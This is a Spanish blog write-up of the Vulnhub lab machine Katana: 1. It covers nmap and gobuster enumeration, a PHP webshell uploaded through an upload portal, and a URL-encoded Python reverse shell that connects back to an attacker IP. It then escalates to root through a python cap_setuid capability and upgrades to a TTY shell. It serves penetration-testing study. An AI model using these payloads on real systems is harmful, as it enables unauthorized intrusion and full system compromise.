En este post voy a vulnerar la máquina Katana: 1 de Vulnhub. Es una máquina Linux, de nivel intermedio para VulnHub y fácil para Proving Grounds, en la que la enumeración es fundamental. Como esta máquina tiene muchos rabbit holes, me centraré directamente en la ruta de resolución.
Enumeración
Comienzo averiguando la IP que ha tomado la máquina con netdiscover.
sudo netdiscover -i eth0

Ahora que ya tengo la IP en la que está alojada la máquina, escaneo los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --min-rate 5000 -n --open 192.168.71.154

En la máquina hay ocho puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p21,22,80,139,445,7080,8088,8715 -sCV 192.168.71.154 Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-14 19:26 CEST Nmap scan report for 192.168.71.154 Host is up (0.00099s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 89:4f:3a:54:01:f8:dc:b6:6e:e0:78:fc:60:a6:de:35 (RSA) | 256 dd:ac:cc:4e:43:81:6b:e3:2d:f3:12:a1:3e:4b:a3:22 (ECDSA) |_ 256 cc:e6:25:c0:c6:11:9f:88:f6:c4:26:1e:de:fa:e9:8b (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Katana X 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 7080/tcp open ssl/http LiteSpeed httpd |_http-server-header: LiteSpeed |_http-title: Katana X | ssl-cert: Subject: commonName=katana/organizationName=webadmin/countryName=US | Not valid before: 2020-05-11T13:57:36 |_Not valid after: 2022-05-11T13:57:36 |_ssl-date: 2022-05-14T17:26:49+00:00; -1s from scanner time. | tls-alpn: | h2 | spdy/3 | spdy/2 |_ http/1.1 8088/tcp open http LiteSpeed httpd |_http-server-header: LiteSpeed |_http-title: Katana X 8715/tcp open http nginx 1.14.2 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Restricted Content |_http-server-header: nginx/1.14.2 |_http-title: 401 Authorization Required Service Info: Host: KATANA; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 59m59s, deviation: 2h00m00s, median: -1s |_nbstat: NetBIOS name: KATANA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.9.5-Debian) | Computer name: katana | NetBIOS computer name: KATANA\x00 | Domain name: \x00 | FQDN: katana |_ System time: 2022-05-14T13:26:46-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2022-05-14T17:26:46 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.25 seconds
Accedo a la web del puerto 8088 y encuentro la imagen de una katana.

Hago un fuzzing de ficheros txt, html y php ocultos con gobuster y encuentro uno llamado upload.html.
gobuster dir -u http://192.168.71.154:8088/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -e -t 100

Accedo a la web y llego a un portal que me permite subir ficheros.

Explotación
Como también he encontrado ficheros con extensión php, voy a suponer que puedo subir ficheros con esta extensión y subir un backdoor en php al que llamaré webshell.php.

Al subirlo, me aparece un mensaje donde aparecen un par de mensajes relevantes. El primero me pide que espere un minuto y el segundo me indica que se ha cambiado la ubicación del fichero y le nombre.

Por lo que veo en la ventana, el portal sube los ficheros al directorio /tmp y después los mueve a /opt/manager/html, así que repaso los puertos abiertos y veo que en el 8715 se está ejecutando un servicio nginx.

Yo, antes, utilizaba nginx como nube privada así que se me ocurre que igual se ha podido mover el fichero ahí. Me dirijo a la ruta http://192.168.71.154/katana_webshell.php y veo que puedo acceder al backdoor.

Compruebo si funciona abriendo el fichero /etc/passwd.

Como ya puedo ejecutar comandos, el próximo paso es conseguir una shell, en este caso, con python.
http://192.168.71.154:8715/katana_webshell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.71.135%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27


Escapada de privilegios
En primer lugar, para que la resolución sea válida para OSCP, es necesario conseguir una shell en tty. Para ello, como la máquina tiene python, ejecuto mi script automatizado, pero al final de la resolución indicaré como conseguirla de forma manual.
Ejeucto Linux Smart Enumeration, con el nivel 1 de verbosity y, en capabilities, veo que me aparece python, en concreto /usr/bin/python2.7 = cap_setuid+ep.

La diferencia de las capabilities respecto de SUID es que cada capability otorga un permiso concreto, lo que significa que la superficie de ataque se ve reducida al asignar únicamente los permisos que el binario necesita.
Busco en GTFObins y encuentro como utilizar esta capability para escalar privilegios (mas info aquí). Ejecuto el comando y me convierto en root.
python -c 'import os; os.setuid(0); os.system("/bin/sh")'

La flag de root la encuentro en /root/root.txt.

tty
Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en fácilmente.
script /dev/null -c bash ^Z
CTRL + Z
Ahora sin cambiar de consola.
stty raw -echo; fg reset
Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.
xterm export TERM=xterm export SHELL=bash
Y ya he conseguido una consola tty.
Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.
stty size
Y las modifico en la shell reversa.
stty rows [X] columns [Y]
